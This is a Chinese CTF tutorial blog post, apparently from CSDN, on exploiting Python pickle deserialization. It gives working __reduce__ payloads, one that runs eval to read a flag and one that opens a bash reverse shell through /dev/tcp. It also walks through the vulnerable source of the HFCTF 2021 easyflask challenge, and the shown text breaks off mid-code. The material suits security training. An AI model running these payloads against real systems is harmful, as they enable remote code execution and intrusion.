CTF题型 Python中pickle反序列化进阶利用&例题&opache绕过(1)

本文介绍了Python pickle反序列化的基础知识和危害,通过HFCTF、0xgame、HZNUCTF等CTF比赛的例题,展示了如何利用pickle进行RCE攻击。此外,还讨论了基于opcode绕过字节码过滤的技巧,包括如何编写payload,并推荐了pker工具来辅助生成payload。
摘要由CSDN通过智能技术生成
	- 3.[[HZNUCTF 2023 preliminary\]pickle]( )
  • 二.基于opcode绕过字节码过滤

一.基础的pickle反序列化

pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE

关键代码

pickle.dumps(obj[, protocol])

功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

漏洞有关的魔术方法
__reduce__

构造方法,在反序列化的时候自动执行,类似于php中的_wake_up

__setstate__

在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

常用payload(没有os模块)

import pickle
import base64
 
class A(object):
    def \_\_reduce\_\_(self):
        return (eval, ("\_\_import\_\_('os').popen('tac /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))



环境有os模块

import pickle
import os
import base64

class aaa():
    def \_\_reduce\_\_(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错


所以最好所有poc在linux上生成

例题

1.[HFCTF 2021 Final]easyflask

https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask

非预期(任意文件读取)

image-20240325085226157

直接读环境变量/proc/1/environ

image-20240325085331374

预期解

app源码


#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET\_KEY"] = "\*\*\*\*\*\*\*"

User = type('User', (object,), {
    'uname': 'test',
    'is\_admin': 0,
    '\_\_repr\_\_': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index\_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file\_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin\_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        r
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值